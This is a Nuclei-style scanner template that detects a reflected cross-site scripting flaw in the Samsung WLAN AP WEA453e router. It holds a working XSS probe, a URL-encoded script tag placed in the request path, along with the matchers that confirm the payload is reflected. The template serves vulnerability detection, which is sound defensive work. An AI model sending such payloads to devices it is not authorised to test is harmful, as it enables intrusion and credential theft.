id: samsung-wlan-ap-xss

info:
  name: Samsung WLAN AP WEA453e - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Samsung WLAN AP WEA453e router contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: xss,samsung

http:
  - method: GET
    path:
      - "{{BaseURL}}/%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "/tmp/www/<script>alert(document.domain)</script>"
        part: body

      - type: status
        status:
          - 404

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022100dfa01d41eac897d86a26714d8c3bcd4ed2e448800d96ae3df959f500b481a87c0220687980f948188d1d5cd4c6d8c312f50f19e5d96f3ed42a20ff1e1064b4d0325c:922c64590222798bb761d5b6d8e72950